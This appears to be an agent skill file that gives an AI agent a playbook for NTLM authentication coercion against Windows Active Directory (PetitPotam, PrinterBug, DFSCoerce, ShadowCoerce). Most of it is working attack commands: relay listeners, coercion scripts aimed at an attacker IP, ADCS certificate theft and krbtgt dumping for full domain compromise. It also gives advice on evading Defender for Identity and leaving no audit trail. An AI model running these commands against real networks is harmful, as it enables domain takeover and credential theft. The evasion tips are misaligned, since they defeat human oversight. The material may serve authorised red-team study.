AGENT SKILL

ad-coercer

Authentication coercion against Windows / AD — PetitPotam (MS-EFSR), PrinterBug (MS-RPRN), DFSCoerce (MS-DFSNM), ShadowCoerce (MS-FSRVP), Coercer.py meta-tool. Force a Windows machine to NTLM-authenticate to attacker, then relay or crack offline.

License 许可
MIT
最近更新
2026-06-15
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01 前言 Front Matter

name
ad-coercer
metadata
{ "tags": "ad, coercion, ntlm-relay, petitpotam", "subdomain": "ad", "when_to_use": "petitpotam printerbug dfscoerce shadowcoerce coercer msefsr msrprn msdfsnm msfsrvp authentication coercion ntlm relay", "mitre_attack": "T1187, T1557.001" }
description
Authentication coercion against Windows / AD — PetitPotam (MS-EFSR), PrinterBug (MS-RPRN), DFSCoerce (MS-DFSNM), ShadowCoerce (MS-FSRVP), Coercer.py meta-tool. Force a Windows machine to NTLM-authenticate to attacker, then relay or crack offline.
allowed-tools
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03 SKILL.md 正文

Authentication Coercion (PetitPotam family)

Force a Windows machine — usually a Domain Controller — to send an NTLM authentication to an attacker-controlled host. Then either relay the auth (via ntlmrelayx) or crack it offline.

The family of coercion vulnerabilities

Vector Protocol RPC Mitigated by
PetitPotam MS-EFSR (Encrypting File System Remote) EfsRpcOpenFileRaw KB5005413 (Aug 2021) — partial; bypasses persist via other Efs* methods
PrinterBug MS-RPRN (Print System Remote) RpcRemoteFindFirstPrinterChangeNotificationEx Disable Print Spooler
DFSCoerce MS-DFSNM (Distributed File System) NetrDfsGetVersion, NetrDfsRemoveStdRoot Restrict DFSN to admins
ShadowCoerce MS-FSRVP (File Server Remote VSS) IsPathSupported KB5015527 (Jul 2022)
CheeseOunce / WebDavCoerce WebDAV WebClient (various) Disable WebClient service

All four boil down to: an unauthenticated/low-priv RPC call that triggers the target to authenticate outbound.

Workflow

1. Set up the listener (attacker)

# Option A: ntlmrelayx (relay auth to a useful service)
sudo impacket-ntlmrelayx -t ldap://dc.target.local --escalate-user lowpriv -smb2support
# OR relay to ADCS for cert-based domain admin:
sudo impacket-ntlmrelayx -t http://ca.target.local/certsrv/certfnsh.asp \
  -smb2support --adcs --template DomainController

# Option B: just capture the hash
sudo impacket-ntlmrelayx -t ldap://dc.target.local --no-smb-server
# OR with responder
sudo responder -I eth0

2. Coerce auth from a target machine

# Coercer — meta-tool, tries every vector
git clone https://github.com/p0dalirius/Coercer
sudo python3 Coercer.py coerce -l <attacker_ip> -t <target_ip> -u 'low_priv_user' -p 'pass'
# or anonymous (often works pre-PetitPotam patch):
sudo python3 Coercer.py coerce -l <attacker_ip> -t <target_ip> -u '' -p ''

# Or individual scripts:
python3 PetitPotam.py <attacker_ip> <target_ip>
python3 dfscoerce.py -u lowpriv -p pass <attacker_ip> <target_ip>
python3 printerbug.py target.local/user:pass@<target_ip> <attacker_ip>

3. Catch the auth → escalate

[ntlmrelayx] SMBD-Thread-X: Received connection from <target_ip>, attacking target ldap://dc.target.local
[ntlmrelayx] Authenticating against ldap://dc.target.local as TARGET\DC$ SUCCEED
[ntlmrelayx] Adding lowpriv to Domain Admins group: SUCCEED

If you relayed to ADCS:

[ntlmrelayx] GOT CERTIFICATE! ID 1234
[ntlmrelayx] Base64 certificate of user DC$: MII...

Then use that cert with certipy auth -pfx dc.pfx -username 'dc$' -domain target.local.

Why coerce DC$? — The privilege escalation chain

The DC's machine account (DC$) has Replicating Directory Changes permission. With its NTLM hash or TGT, you DCSync and own the domain:

# After getting DC$ cert from ADCS relay:
certipy auth -pfx dc.pfx -username 'dc$' -domain target.local
# Returns TGT
impacket-secretsdump -k -no-pass target.local/dc$@dc.target.local
# Dumps krbtgt — full domain compromise

Targets that work

  • Any unpatched DC (most environments still have PetitPotam variants)
  • Any server with Print Spooler running (PrinterBug)
  • Any Windows server with DFS Namespace (often DCs + file servers)
  • ADCS Web Enrollment endpoint (relay to it for cert-based DA)

OPSEC

  • Coercion attempts log EFSRPC_* / RPRN_* event sources on the target — usually low-priority but visible in dedicated AD-attack detection (MDI, Defender for Identity).
  • Inbound NTLM authentication from a DC to a non-domain workstation is a strong signal — relay to a host that legitimately receives auth (a file server, a printer-ish hostname).
  • Use a coercion vector that DOESN'T require credentials (PetitPotam unauthenticated path, ShadowCoerce) if possible — leaves no user-level audit trace.

References

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